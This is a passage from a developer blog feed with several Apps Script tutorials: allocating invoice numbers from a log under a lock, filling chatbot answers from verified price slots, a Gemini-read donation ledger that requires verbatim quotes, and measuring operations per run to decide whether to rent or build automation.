A quantity column can only describe something that occupies space. A kit occupies none: its number is a claim about parts, derived from the scarcest one, and two kits that share a part were never two independent numbers. Publish per-kit availability by all means, but compute it from free component stock every time, and hold the claim at component level, or the sum of your honest numbers will keep offering stock that does not exist.

The full template this builds on, with the column set, the formula cheat-sheet and the point where a static sheet stops being cheaper than a build, is on the MageSheet blog.

Two Invoices, One Number: Allocate Invoice Numbers From the Log, Not a Cell

Hayrullah Kar — Tue, 22 Sep 2026 18:05:38 +0000

A Google Sheets invoice template does one job well: it prints. The header, the line items, the four formulas at the bottom. The automation people bolt on afterwards reads the invoice number out of cell B4, exports the sheet as a PDF, emails it, and appends a row to a Log tab:

const invoiceNo = sheet.getRange('B4').getValue();
// ... export, email ...
ss.getSheetByName('Log').appendRow([
  invoiceNo, clientName, new Date(), dueDate, total, 'Unpaid', ''
]);

That works until the day someone clicks the menu item twice because the first click seemed slow. Two PDFs go out under INV-2026-0042, for two different clients, and the log has two rows claiming the same number. Nothing errors. You find out when a client forwards a payment reference that matches somebody else's invoice.

The cell is the problem. B4 is a display: it shows the number the last person typed. A sequence needs a counter, and a counter needs to be the thing that decides, not the thing that shows.

Why the cell cannot be the counter

Three separate failures come out of the same shortcut, and none of them announce themselves.

The number is read, never claimed. Between reading B4 and appending the log row, the script exports a PDF and sends mail. Two runs that overlap read the same value. So do two people working from two copies of the sheet.

The log is written last. If the script dies after GmailApp.sendEmail — a timeout, a quota refusal on the row append, a browser tab closed on a slow export — the client has an invoice and your ledger does not. The row you never wrote is the row you would have chased for payment.

Re-running is indistinguishable from a new invoice. Nothing in the sheet records that this particular draft has already gone out, so the second click bills the client again.

There is a fourth reason that has nothing to do with code. In most VAT and sales-tax regimes, issued invoice numbers have to form an unbroken sequence you can account for, including the ones you cancelled. A cell that anybody can overtype cannot make that promise. (Check the rule for your own jurisdiction — the shape of the requirement varies, the need for an auditable sequence does not.)

The log allocates, the cell displays

Flip the direction. The Log tab already holds every number you have issued, so let it hand out the next one. That is a pure function, and pure functions can be tested without a spreadsheet anywhere near them:

var INVOICE_NO = /^([A-Z]{2,6})-(\d{4})-(\d+)$/;

function parseInvoiceNo(value) {
  var text = String(value == null ? '' : value).trim().toUpperCase();
  var m = INVOICE_NO.exec(text);
  if (!m) return null;
  return {
    prefix: m[1], year: Number(m[2]),
    seq: Number(m[3]), width: m[3].length
  };
}

function formatInvoiceNo(p) {
  var seq = String(p.seq);
  while (seq.length < p.width) seq = '0' + seq;
  return p.prefix + '-' + p.year + '-' + seq;
}

// Every number the log has ever held decides the next one. A cancelled
// invoice keeps its number: the sequence steps past it, never over it.
function nextInvoiceNo(issued, issueDate, opts) {
  var prefix = (opts && opts.prefix) || 'INV';
  var width = (opts && opts.width) || 4;
  var year = issueDate.getFullYear();
  var highest = 0;

  for (var i = 0; i < issued.length; i++) {
    var raw = issued[i];
    if (raw === '' || raw === null || raw === undefined) continue;
    var parts = parseInvoiceNo(raw);
    if (!parts) {
      throw new Error('Unreadable invoice number in the log: ' + raw);
    }
    if (parts.prefix !== prefix || parts.year !== year) continue;
    if (parts.seq > highest) highest = parts.seq;
    if (parts.width > width) width = parts.width;
  }

  return formatInvoiceNo({
    prefix: prefix, year: year, seq: highest + 1, width: width
  });
}

Three decisions in there are worth naming, because each one replaces a bug I would otherwise have shipped.

It compares parts.seq, a number, instead of taking the maximum string. INV-2026-10000 sorts below INV-2026-9999 in any lexical comparison, so a string maximum re-issues 10000 on your ten-thousandth invoice and every one after it. A test with those two rows fails instantly; a live sheet would not fail for years.

It filters on parts.year, so 1 January restarts at 0001 rather than continuing at 0043. Sequences that run per calendar year are the common case, and the rollover is the one day of the year nobody tests by hand.

It throws on a number it cannot read rather than skipping it. A skipped row is a row whose number you are about to hand out for the second time, and INV-26-7 typed by a hurried human is exactly the row that gets skipped. Refusing to guess is the whole point of a ledger.

Reserve the number before you send anything

Allocation on its own is not enough: the number has to be written to the log before the PDF exists, under a lock, with something that identifies this draft so a second click finds the first click's work.

var LOG = 'Log';
var COL = { no: 1, client: 2, issued: 3, due: 4, total: 5,
            status: 6, draftId: 7 };

function reserveInvoiceNo(ss, draft) {
  var lock = LockService.getDocumentLock();
  if (!lock.tryLock(30000)) {
    throw new Error('Another invoice is being issued right now.');
  }
  try {
    var log = ss.getSheetByName(LOG);
    var rows = log.getDataRange().getValues().slice(1);

    for (var i = 0; i < rows.length; i++) {
      if (rows[i][COL.draftId - 1] === draft.id) {
        return { invoiceNo: rows[i][COL.no - 1],
                 status: rows[i][COL.status - 1],
                 row: i + 2 };
      }
    }

    var issued = rows.map(function (r) { return r[COL.no - 1]; });
    var invoiceNo = nextInvoiceNo(issued, draft.issueDate);

    log.appendRow([invoiceNo, draft.clientName, draft.issueDate,
                   draft.dueDate, draft.total, 'Reserved', draft.id]);
    SpreadsheetApp.flush();

    return { invoiceNo: invoiceNo, status: 'Reserved',
             row: log.getLastRow() };
  } finally {
    lock.releaseLock();
  }
}

SpreadsheetApp.flush() before the lock is released is not decoration. Apps Script batches writes and sends them when it suits; release the lock with the append still pending and the next run reads a log that does not contain the number you just allocated. The lock is only worth what the write inside it is worth.

The draftId column turns the whole operation into something you can retry. The invoice sheet carries a draft id in a cell, written once when the draft is started, and it stays there until the invoice goes out. A second click finds the reserved row and stops.

Status	What it means	Who sets it
`Reserved`	number allocated, nothing sent yet	`reserveInvoiceNo`
`Unpaid`	PDF filed, email accepted, awaiting payment	`generateInvoice`
`Paid`	payment matched	you, or a bank-import script
`Void`	cancelled; the number stays, the amount goes to 0	you

A Reserved row that is still sitting there tomorrow is a send that failed halfway. That is a report you can run. The version that writes the log last has no such row, and no such report.

The send, rewritten around the reservation

function generateInvoice() {
  var ss = SpreadsheetApp.getActiveSpreadsheet();
  var sheet = ss.getSheetByName('Invoice');
  var ui = SpreadsheetApp.getUi();

  var draft = readDraft(sheet);
  var res = reserveInvoiceNo(ss, draft);
  if (res.status !== 'Reserved') {
    ui.alert('This draft already went out as ' + res.invoiceNo + '.');
    return;
  }

  sheet.getRange('B4').setValue(res.invoiceNo);
  SpreadsheetApp.flush();

  var pdf = exportSheetAsPdf(ss, sheet)
    .setName('Invoice-' + res.invoiceNo + '.pdf');
  getOrCreateFolder('Invoices').createFile(pdf);

  GmailApp.sendEmail(draft.clientEmail, 'Invoice ' + res.invoiceNo,
    'Hi ' + draft.clientName + ',\n\n' +
    'Please find invoice ' + res.invoiceNo + ' attached for ' +
    draft.totalText + '. Thank you for your business.\n\n- Billing',
    { attachments: [pdf], name: 'Billing' });

  ss.getSheetByName(LOG).getRange(res.row, COL.status)
    .setValue('Unpaid');
  sheet.getRange('B10').setValue('');
  ui.alert('Invoice ' + res.invoiceNo + ' sent to ' +
           draft.clientEmail);
}

The flush() after setValue('B4') matters for a reason that is easy to miss: the PDF is not produced by the script. exportSheetAsPdf fetches docs.google.com/.../export over HTTP, and that request is served from the file as Google has it stored. A value still sitting in the script's pending write queue is not in that file yet, so the PDF can arrive carrying the previous invoice number while the log carries the new one. The number reaches the client through the export, not through your variable.

readDraft is where the second quiet bug lives:

function readDraft(sheet) {
  var id = sheet.getRange('B10').getValue();
  if (!id) {
    id = Utilities.getUuid();
    sheet.getRange('B10').setValue(id);
  }
  return {
    id: id,
    clientName: sheet.getRange('B7').getValue(),
    clientEmail: String(sheet.getRange('B8').getValue()).trim(),
    issueDate: new Date(),
    dueDate: sheet.getRange('B6').getValue(),
    total: sheet.getRange('D33').getValue(),
    totalText: sheet.getRange('D33').getDisplayValue()
  };
}

// Unchanged from the template's own sketch: the export endpoint renders
// the stored file, and the folder lookup is created once and reused.
function exportSheetAsPdf(ss, sheet) {
  var url = 'https://docs.google.com/spreadsheets/d/' + ss.getId() +
    '/export?format=pdf&gid=' + sheet.getSheetId() +
    '&portrait=true&fitw=true&gridlines=false';
  var res = UrlFetchApp.fetch(url, {
    headers: { Authorization: 'Bearer ' + ScriptApp.getOAuthToken() }
  });
  return res.getBlob();
}

function getOrCreateFolder(name) {
  var it = DriveApp.getFoldersByName(name);
  return it.hasNext() ? it.next() : DriveApp.createFolder(name);
}

getValue() on a currency cell returns the raw number, so an email built from it reads "attached for 425.01" where the PDF says "$425.01", and sometimes "attached for 425.0100000000001". getDisplayValue() returns the string the cell shows, formatting and currency symbol included. The log keeps the raw number for arithmetic; the email quotes what the client is looking at.

Pitfalls

The printed column does not always add up to =SUM(). With =B12*C12 unrounded down the column, 7.35 hours at 42.50 displays as 312.38 and 2.65 hours displays as 112.63, while =SUM adds the full-precision values to 425.00 exactly. The client reads two lines that total 425.01 and a subtotal of 425.00. Round at the line, not only at the display: =ROUND(B12*C12, 2), and every total built from those rounded values.
A cancelled invoice keeps its number. Deleting the row to "tidy up" makes the next allocation reuse that number, which is precisely the thing the sequence exists to prevent. Set the status to Void and the amount to zero.
Reserved rows need a sweep. A send that failed after reservation leaves a row that will never become Unpaid. Look for them; each one is either an invoice to resend or a number to void.
Two prefixes, two sequences. Credit notes are not invoices. nextInvoiceNo(issued, date, { prefix: 'CN' }) keeps CN-2026-0004 from colliding with INV-2026-0042, and the log can hold both.
Mail quota is a hard stop, not a slowdown. Google publishes a daily recipient limit per account for Apps Script mail — the number depends on your account type, and it is worth reading off the quota page for the plan you are actually on rather than assuming. Past it, GmailApp.sendEmail throws, and with the reservation written first that failure leaves a Reserved row instead of an unrecorded invoice.
Bulk runs hit the six-minute wall. Issuing a month of invoices in one loop puts an export and a send inside every iteration. That is the case for splitting the run across triggers; the reservation makes a resumed run safe, because a draft that already has a row is skipped rather than re-sent.
The log is a ledger, so treat it like one. Append rows and change statuses; do not rewrite history in place. An invoice row is a record of something that left the building, and an edited record cannot be reconciled against a bank statement.
A Docs-template PDF changes nothing about the order. If you fill a Google Docs template with {{PLACEHOLDER}} tags instead of exporting the sheet — the approach in this Magento invoice walkthrough — the number still has to be claimed from the log before the document is built, for the same reason: the file is produced from values that must already be final.

The one thing worth taking away

An invoice number is not a value on the invoice. It is a claim on a sequence, and the only thing that can grant it is the record that knows what has already been granted. Read it from a cell and you are asking a display to enforce an accounting rule; allocate it from the log, write the row before the PDF exists, and every one of the failures above turns into a row with the wrong status — visible, recoverable, and countable.

The template this started from, with the field list, the formula cheat-sheet and the point where a static sheet stops paying for itself, is on the MageSheet blog.

Your Chatbot Verified the Price, Then Pasted It Into a Sentence It Wrote

Hayrullah Kar — Mon, 07 Sep 2026 14:57:05 +0000

A grounded chatbot retrieves the right catalog rows, asks the model which price it used, looks that price up, and compares. Mine did all of that and still quoted a stale price to a customer. The retrieval was fine. The verification was fine. The line that broke it was the one that came after:

answer = answer.replace(String(out.priceUsed), String(livePrice));

The model had reported priceUsed: 1299 and written $1,299.00 in its sentence. Those are the same number and not the same string, so the replace matched nothing, returned the original text, and the customer read the old price under a system that had just verified it.

That is the gap this post is about. Verification tells you whether a number is right. It does nothing about how that number reaches the customer, and if the answer is a sentence the model wrote, every verified fact has to survive a string operation to get there.

Why patching a sentence cannot be made safe

The failure above is not a formatting bug you fix by normalising before the replace. There are at least four ways this line goes wrong and they do not share a fix:

The prose and the field disagree in form. 1299 against $1,299.00, 849.5 against $849.50, 1299 against 1.299,00 for a European storefront.
The number appears somewhere else first. String.prototype.replace with a string argument replaces the first occurrence only. In The 500ml flask is 500 in stock, patching 500 rewrites the product name and leaves the stock figure alone.
The answer covers two products. You verified one price. The other sentence is still whatever the model believed.
The number never appears as digits. "just under thirteen hundred" survives every replace you can write.

Each of these is survivable on its own. Together they mean the safety of the answer depends on the model having phrased things conveniently, which is exactly the assumption grounding exists to remove.

So stop patching. The model does not get to write numbers.

The model writes the sentence, the code writes the numbers

Ask the model for a template instead of a finished answer. Named slots where numbers belong, and nothing else:

{ "grounded": true,
  "productId": "RC-500",
  "template": "The navy raincoat is {price} and we have {stock} in stock." }

Your code fills the slots from values it looked up itself. The model supplies word order, tone and the decision about which product is being discussed. It never supplies a digit that reaches a customer.

var SLOT_PATTERN = /\{([a-zA-Z][a-zA-Z0-9_]*)\}/g;

function slotsIn(template) {
  var seen = {}, out = [], m;
  SLOT_PATTERN.lastIndex = 0;
  while ((m = SLOT_PATTERN.exec(String(template))) !== null) {
    if (!seen[m[1]]) { seen[m[1]] = true; out.push(m[1]); }
  }
  return out;
}

// A slot with no verified value is a refusal, not an empty string. The model
// built a sentence around a number nobody can confirm, so the sentence goes.
function renderAnswer(template, facts, format) {
  var missing = slotsIn(template).filter(function (name) {
    return facts[name] === undefined || facts[name] === null;
  });
  if (missing.length) {
    return { type: 'refusal',
             reason: 'no verified value for: ' + missing.join(', ') };
  }
  SLOT_PATTERN.lastIndex = 0;
  var text = String(template).replace(SLOT_PATTERN, function (_, name) {
    return format(name, facts[name]);
  });
  return { type: 'answer', text: text };
}

Two details in there earn their place. facts[name] === undefined || facts[name] === null rather than a falsy check, because a stock level of 0 is a verified fact and "we have 0 in stock" is a true and useful sentence. And formatting happens in your format function, so currency and locale are decided by code that knows the store, not by a model guessing from context.

Then check that the model kept its side of the bargain

A template is an instruction, and instructions get ignored. Nothing stops the model returning "It is $1,350 and we have {stock} left." — one slot honoured, one price invented. So the finished text gets swept: every number in it has to be one the code put there.

This is where the naive version of the check has a hole worth knowing about. Product names carry digits — Model 3, 500ml bottle, SKU RC-500 — so a sweep that refuses every number not in the verified set refuses real answers and gets switched off within a week. The obvious fix is to allow any number that appears in the retrieved rows. That fix is worse than it looks: SKUs are full of small integers, and a small integer is exactly what an invented quantity looks like. With BT-3 in the catalog, "ships in 3 days" walks straight through.

So a row number is allowed only where it keeps the same company it keeps in the row:

function strayNumbers(text, verifiedValues, retrievedRows) {
  var rowText = normalise(JSON.stringify(retrievedRows || []));
  var allowedValues = {};
  (verifiedValues || []).forEach(function (n) {
    allowedValues[Number(n)] = true;
  });

  var stray = [], re = /\d[\d.,]*/g, m;
  while ((m = re.exec(String(text))) !== null) {
    var raw = m[0].replace(/[.,]$/, '');
    var value = numbersIn(raw)[0];
    if (value === undefined) continue;
    if (allowedValues[value]) continue;        // the code put this one here

    var before = String(text).slice(0, m.index);
    var prev = (before.match(/[A-Za-z]+[\s-]?$/) || [''])[0];
    var after = String(text).slice(m.index + raw.length);
    var suffix = (after.match(/^[A-Za-z]+/) || [''])[0];

    // Glued to letters, like 500ml or RC-500, or preceded by the same word it
    // follows in the row, like Model 3. A number standing on its own has no
    // such company and has to come from a verified fact.
    var glued = suffix &amp;&amp; rowText.indexOf(normalise(raw + suffix)) !== -1;
    var kept = prev &amp;&amp; rowText.indexOf(normalise(prev + raw + suffix)) !== -1;
    if (glued || kept) continue;

    stray.push(value);
  }
  return stray;
}

numbersIn reduces a token to its value before comparing, so $1,299.00, 1299 and 1.299,00 are one number rather than three. That matters more than it sounds: comparing the characters instead of the value is the same mistake as the string replace, one layer down.

The order of operations is the whole design. Refuse before rendering, render before sweeping, sweep before anything reaches a customer:

function groundedAnswer(modelReply, facts, retrievedRows, deps) {
  if (!modelReply.grounded) {
    return { type: 'refusal',
             reason: 'model could not ground the answer' };
  }

  var rendered = renderAnswer(modelReply.template, facts, deps.format);
  if (rendered.type !== 'answer') return rendered;

  var slots = slotsIn(modelReply.template);
  var verified = slots.map(function (n) { return facts[n]; });
  var stray = strayNumbers(rendered.text, verified, retrievedRows);
  if (stray.length) {
    return { type: 'refusal',
             reason: 'unverified number: ' + stray.join(', ') };
  }
  return rendered;
}

Note what happens on a stray number: refusal, not repair. Repair is how the original bug got in. A sentence built around a number you cannot account for is a sentence you do not send, and the handoff to a person is the feature, not the failure.

Pitfalls

Numbers written as words. No digit sweep sees "a dozen left". A short list of number words closes the common cases, but leave one out of it — in English it is a pronoun far more often than a quantity, and "the cheaper one" would refuse every second answer. The real defence is the template: a model asked for slots rarely spells quantities out.
Allowing every number in the retrieved rows. Covered above, and worth repeating because it is the version most people write first. It feels like the safe default and it silently re-opens the hole for exactly the small integers that matter.
Treating a zero as missing. if (!facts[name]) refuses "0 in stock", which is the single most important answer an out-of-stock page can give.
Confusing provenance with freshness. This sweep proves a number came from your code. It says nothing about whether your code read a fresh value. If you cache the price for an hour, you will render a verified hour-old number with total confidence. Live lookups are a separate job with their own quota and retry ceiling.
Letting the model return prose alongside the template. If your schema has both an answer and a template field, someone will render answer on a Friday. Return one field, and make the template the only path to text.
Skipping structured output. Parsing a template out of free text puts you back where you started. Tool use and JSON schema modes make the reply a shape rather than a paragraph containing one; the mechanics on Apps Script are worth getting right before this is load-bearing.

The one thing worth taking away

Verification decides whether a number is true. Rendering decides whether the true number is the one the customer reads, and those are different problems with different code. If a verified value has to travel through a sentence the model wrote to reach the screen, you have a formatting coincidence standing where a guarantee should be.

The full grounding stack this sits inside — retrieval, live lookups, refusal paths and the catalog hygiene that has to come first — is on the MageSheet blog.

The ledger asks the model to show its work before it counts the money

Hayrullah Kar — Sun, 06 Sep 2026 12:48:29 +0000

This is a submission for Weekend Challenge: Generosity Edition

What I Built

A donation ledger for a group too small to buy software. It is a Google Sheet,
some Apps Script, and one public page a donor can open.

The group I had in mind is the kind that exists on every street: a neighbourhood
fund, a school parents' group, a committee that collects for winter coats.
Money arrives over WhatsApp and leaves in cash, and somebody keeps it in a
notebook. The arithmetic is not the hard part. The hard part arrives three
months later when a donor asks where their money went, and answering needs the
notebook, the person holding it, and an afternoon.

Software for this exists and is priced for organisations with a finance team.
So the ledger stays in a spreadsheet a volunteer already knows how to open, and
the only thing added is what a spreadsheet cannot do alone: read messy human
messages, refuse to trust its own reading, and publish the page that answers
the question before it is asked.

Demo

The public page a donor opens →

That page is the deployed page, byte for byte, with one line changed: where the
Apps Script version writes <?= data ?>, the demo fetches the same JSON from a
file so you can read it without a Google account. The JSON is produced by
running the sample month through the same recordEntry() and publicView() the
real script uses, so if the ledger rules change, the demo changes with them or
the build fails.

The sample month deliberately includes the things that go wrong: a receipt two
volunteers forwarded, a donation typed with one zero too many and later
corrected, and a reading the checks refused to trust.

What the model read, and whether it was allowed to count →

The ledger page shows the result. This one shows the part worth showing. Pick any
of six real donation messages and it highlights the exact characters Gemini says
it read the amount from, lists the three checks with their outcomes, and says why
the row was posted or held. It is fed by a recorded run, not by a description of
one, down to how many requests had to be retried after a 503.

Code

MageSheet / open-donation-ledger

A transparent donation ledger for small charities: Google Sheets + Apps Script + Gemini, with a public page donors can open.

Open Donation Ledger

A donation ledger for a group too small to buy software: a Google Sheet, some Apps Script, and one public page a donor can open. Donations arrive as WhatsApp messages and photographs of bank receipts, Gemini reads them, and two checks decide whether a reading is trustworthy enough to count.

Built for the DEV Weekend Challenge: Generosity Edition.

Live demo of the public page →

The problem this is actually about

A neighbourhood fund, a school parents' group, a mosque committee: money comes in over WhatsApp and goes out in cash, and somebody keeps it in a notebook The arithmetic is not the hard part. The hard part arrives three months later when a donor asks where their money went and nobody can answer without the notebook, the person who holds it, and an afternoon.

Software exists for this. It is priced for organisations with a…

View on GitHub

How I Built It

The part I actually care about

Real messages look like this:

abi 250 tl yolladım montlara yazın
Sending 40 EUR for the winter fund, please keep me anonymous
bugün 1.250,50 TL havale ettim, dekontu sonra atarım

Gemini reads those well. That was never the problem. The problem is that a
wrong number looks exactly like a right one, and this number ends up on a
public page next to a stranger's name. "Mostly accurate" is a fine standard for
a summary and a terrible one for a ledger.

So the model is not trusted on its own. It has to show its work.

For a text message, the schema requires an amount_quote: the exact characters
the model read the amount from, copied out of the message. Then the code checks
that this substring actually occurs in the message, and that its digits are the
amount that was returned. A model that quotes something it invented fails the
first check. A model that silently converted a currency or moved a decimal point
fails the second.

function verifyQuote(sourceText, quote, amount) {
  if (!quote) return { ok: false, reason: 'model quoted nothing' };

  var haystack = String(sourceText).toLowerCase().replace(/\s+/g, ' ');
  var needle = String(quote).toLowerCase().replace(/\s+/g, ' ').trim();
  if (haystack.indexOf(needle) === -1) {
    return { ok: false, reason: 'quote "' + quote + '" does not occur in the message' };
  }

  var quoted = parseQuotedNumber(needle);
  if (!isFinite(quoted)) return { ok: false, reason: 'quote carries no number' };
  if (Math.abs(quoted - Number(amount)) > 0.005) {
    return { ok: false, reason: 'quote says ' + quoted + ' but amount says ' + amount };
  }

  return { ok: true, reason: '' };
}

A receipt photograph has no source text to check a quote against, so it gets a
different check: the image is read twice with two differently framed prompts,
and the readings have to agree on both amount and currency. One prompt asks for
the transferred amount. The other asks the model to read every number on the
receipt and then say which one is the transfer. A blurry or cropped page tends
to produce two different answers, and two different answers means a person
looks at it.

Nothing that fails a check is discarded. It is recorded with
status: needs-review, so the money is not lost, it just does not count until
someone has checked it. The public page says how many rows are waiting rather
than quietly leaving them out.

What it actually did

Run against gemini-3.6-flash, temperature 0, structured output, on six
messages:

  message : abi 250 tl yolladım montlara yazın
  read    : 250 TRY
  quote   : "250 tl"
  verdict : POSTED

  message : bugün 1.250,50 TL havale ettim, dekontu sonra atarım
  read    : 1250.5 TRY
  quote   : "1.250,50 TL"
  verdict : POSTED

  message : yarın bir miktar göndereceğim inşallah
  read    : 0 TRY
  quote   : ""
  verdict : NEEDS REVIEW - model quoted nothing

  message : I gave 100 dollars last week, that is about 3400 lira right?
  read    : 100 USD
  quote   : "100 dollars"
  verdict : POSTED

5/6 posted straight to the ledger, 1 held for a human.

Two of those are the interesting ones. "yarın bir miktar göndereceğim" is a
promise, not a donation; it produced no quote and went to review instead of
becoming a zero-lira row. And the last message names two numbers, 100 dollars
and a 3400 lira conversion the sender did in their head. The ledger got 100 USD,
which is the money that actually moved.

That run also took a 503 high demand on its first call and recovered on the
retry, which is why both the local script and the Apps Script side wrap the call
in backoff. A shared endpoint answering "not now" is normal traffic, not a
failure to extract.

Nothing is edited after the fact

There is no update path in Ledger.gs. A mistake is fixed by appending a
correction row that names the row it corrects, and the totals net the two. Both
rows stay on the record, because a ledger whose history can change quietly is
exactly what the donor was worried about.

Three more rules the code enforces rather than trusts:

A resent message is recorded once. The idempotency key comes from the transport's own message id, so a receipt three volunteers forwarded is one row, and the third volunteer is not told something went wrong.
A donor who did not ask to be named is Anonymous on the page, even though the ledger still knows who they are. A name printed on a bank receipt is not consent to publish it.
One fund holding two currencies is never added into one number. 590 TRY and 40 EUR is not 630 of anything.

That last rule is there because it was a bug. The demo page is built out of the
same functions the tests exercise, and building it printed a fund total of 630
where 590 TRY and 40 EUR had been summed. It would have looked completely
plausible on the page.

Testing Apps Script without Apps Script

Apps Script has no modules: every file shares one global scope, which is why
Extract.gs can call a function defined in Ledger.gs. Requiring the files
separately in node would hide that, so the test harness evaluates them into a
single vm context instead, and the tests exercise the same globals the
deployed script does.

Side effects go through a deps object that is a sheet in production and an
array in the tests, so all 27 tests run with no network, no spreadsheet and no
API key. The live model check is a separate script you run by hand, because
whether the model behaves is a different question from whether the ledger rules
hold.

What it is not

Not accounting software. Not a fraud control either: it checks that a reading
matches its source, which is a different question from whether the source is
honest. And not a security boundary, since anyone who can open the sheet can
read the donor names the public page hides.

Prize Categories

Best use of Google AI. Gemini does the reading, with structured output and a
response schema so the model returns the shape instead of a paragraph containing
the shape. The part I would defend is not the extraction, it is the design
around it: requiring a verbatim quote and verifying it against the source turns
"the model is usually right" into something a treasurer can act on, and the
two-pass agreement check does the same job for images, where no quote is
possible.

Every line of it runs in a spreadsheet a volunteer already has, which was the
point. The generous thing was never the software.

Ops Per Run, Not Message Volume, Decides Rent or Build

Hayrullah Kar — Sun, 06 Sep 2026 10:35:32 +0000

A WhatsApp order bot at 2,000 messages a month looks like an obvious candidate to own rather than rent. I priced one that way and the arithmetic said the opposite: at that volume the rented plan never paid back the build. The number that decided it was not the message count. It was how many billable operations a single message consumes — I had assumed one, and a real run consumed four.

Both of those numbers are measurable in an afternoon, and until you have them the rent-or-build argument is two people trading adjectives. Here is the instrumentation that produces them, the cost model they feed, and what the payback actually came out to.

Sticker prices decide nothing

The usual comparison lines up monthly fees. On any workflow that succeeds, the fee is the smallest term in the bill. Two numbers move it:

Runs per month — how often the trigger fires.
Billable operations per run — how many steps each run consumes.

The first one people know. The second one people guess, and they guess low, because a "task" on a per-operation platform is a step, not a message. Parsing the message is one. Appending the row is one. Sending the reply is one. The filter that decided whether to continue is one. A run that a filter stops halfway still consumed everything up to the filter, and a step that fails and retries bills for both attempts.

Four operations instead of one is a four-times bill at the same message volume. That is the whole difference between a build that pays back inside a year and one that never does, and it is measurable rather than arguable.

Step 1: count the operations in the run you already have

Wrap each billable step so the count comes from a real execution rather than from a diagram. Two details matter more than they look: the counter records the attempt, not the success, and the log is written in a finally block so a run that dies halfway still reports what it consumed.

// Wraps each billable step and records the attempt. A retry is a
// second billable operation on a per-operation platform, so it is
// pushed under its own name rather than folded into the first.
function makeStepCounter(ops) {
  return function step(name, fn) {
    ops.push(name);
    try {
      return fn();
    } catch (err) {
      ops.push(name + ':retry');
      return fn();
    }
  };
}

// The run itself. Note the finally: a run that a filter stops, or
// one that throws on the last step, was still billed for the steps
// it reached. Logging only completed runs undercounts the bill.
function runOrder(msg, deps) {
  var ops = [];
  var step = makeStepCounter(ops);
  try {
    var parsed = step('parse', function () {
      return deps.parseOrder(msg);
    });
    if (!parsed.isOrder) return null;
    step('append', function () {
      return deps.appendOrder(parsed);
    });
    step('reply', function () {
      return deps.sendReply(parsed);
    });
    return parsed;
  } finally {
    deps.logRun(ops);
  }
}

// Turn the logged runs into the two numbers the cost model needs.
// Use the mean, not the happy path: the filtered and failed runs
// are the ones that quietly move the average.
function usageFromLog(rows) {
  if (!rows.length) throw new Error('no runs logged yet');
  var total = 0;
  for (var i = 0; i < rows.length; i++) total += rows[i].ops;
  return { runs: rows.length, opsPerRun: total / rows.length };
}

function monthlyUsage(rows, daysObserved) {
  if (!(daysObserved > 0)) throw new Error('daysObserved must be > 0');
  var seen = usageFromLog(rows);
  return {
    runs: Math.round((seen.runs / daysObserved) * 30),
    opsPerRun: seen.opsPerRun
  };
}

In Apps Script, deps.logRun is a one-line appendRow onto a RunLog sheet — timestamp, ops.length, and ops.join('|') so you can see afterwards which step was the expensive one. Run it for a week on the real traffic. A week of real messages beats any estimate, because the filtered runs and the retries show up in it and they never show up in an estimate.

Step 2: the three shapes a bill can take

Rented automation bills in one of two shapes, and owned code bills in a third. The shape, not the price, is what makes the numbers move differently as you grow.

// Fill these from your own invoice. The numbers below are
// placeholders chosen to show the shapes, not quotes from any
// vendor, and every platform changes its plans -- read your bill.
var PLANS = {
  perOperation: { kind: 'op',  fee: 29, included: 10000, over: 0.002 },
  perExecution: { kind: 'run', fee: 24, included: 5000,  over: 0.004 },
  owned:        { kind: 'own', maintain: 40, build: 1800 }
};

// Recurring monthly cost, deliberately excluding model tokens.
// You pay the same tokens whichever side you land on, so leaving
// them in flattens the difference you are trying to measure.
function monthlyCost(plan, usage) {
  if (plan.kind === 'own') return plan.maintain;
  var billable = plan.kind === 'op'
    ? usage.runs * usage.opsPerRun
    : usage.runs;
  var extra = Math.max(0, billable - plan.included);
  return plan.fee + extra * plan.over;
}

The kind field is the whole point. On a per-operation plan, opsPerRun multiplies straight into the bill. On an execution-billed plan it does not appear at all — a run with twelve steps costs the same as a run with one. Two platforms with near-identical sticker prices produce completely different curves on the same workflow, and which one is cheaper flips depending on how chatty your run is.

The owned side is a flat maintenance figure plus a one-time build. Leaving the maintenance line at zero is the single most common way these comparisons get faked. Someone patches the code when an API changes; put a number on that person's time or the payback you compute is fiction.

Step 3: the payback, and what it came out to

// Whole months until the build pays for itself. Returns null when
// renting is simply cheaper -- that is a real answer, not an error
// case, and at low volume it is the usual one.
function paybackMonths(rented, owned, usage) {
  var saved = monthlyCost(rented, usage) - monthlyCost(owned, usage);
  if (saved <= 0) return null;
  return Math.ceil(owned.build / saved);
}

Running that over the measured usage, against the placeholder per-operation plan above:

Runs / month	Ops per run	Billable ops	Rent	Own	Payback
2,000	4	8,000	$29	$40	never
5,000	4	20,000	$49	$40	200 months
10,000	4	40,000	$89	$40	37 months
20,000	4	80,000	$169	$40	14 months
20,000	2	40,000	$89	$40	37 months
20,000	1	20,000	$49	$40	200 months

Two things fall out of that table, and neither is what the rent-or-build pitch usually claims.

The first is that at the volume most small businesses actually run — the 2,000-messages-a-month order bot — the rented plan wins outright. The included pool swallows the whole workflow and the subscription is less than the maintenance. There is no payback to compute, because there is nothing being saved.

The second is the interesting one. Compare the last three rows: same 20,000 runs a month, payback moves from 14 months to 200 months purely on operations per run. The message volume, the number everyone quotes first, is held constant across all three. The number that actually decided it is the one nobody measures.

Pitfalls

Counting messages instead of steps. The most expensive mistake here is silent: you divide the message count into the included pool, conclude you will never hit overage, and discover the multiplier on the invoice. Count from a run, not from the trigger.
Logging only successful runs. Filtered and crashed runs consumed operations too. Without the finally, they vanish from your log and your average lands low.
Forgetting that retries bill twice. A flaky third-party endpoint that retries once on a tenth of your runs adds ten percent to the operation count. If you are already handling retries with backoff — and you should be, see UrlFetchApp quotas, retries and backoff — then instrument the retry path, because your bill counts what your backoff loop does.
Leaving tokens in the comparison. Both sides pay the model provider the same tokens for the same prompts. Including them in the rent-or-build math shrinks a real difference into noise. Exclude them from the comparison, then add them back to the budget, where they belong.
A zero maintenance line on the owned side. It makes every payback look good. Price the hour or two a month somebody spends on it, or you have not made a comparison at all.
Comparing against a plan you have not read. Whether filters, routers and error handlers are billable operations varies by platform and by plan. That single detail moves opsPerRun more than anything in your own code does.

The one thing worth taking away

Instrument the workflow for a week before you argue about it. Ops per run is the term that decides rent-or-build, it is off by a factor of four when you guess it, and it costs an afternoon to measure properly. If the measurement says rent, rent — that is what a decision procedure is for.

The full decision framework this sits inside, including the cases where a rented platform is the right answer regardless of the arithmetic, is on the MageSheet blog.

One callModel() for Gemini, OpenAI and Claude in Apps Script

Hayrullah Kar — Tue, 01 Sep 2026 15:54:32 +0000

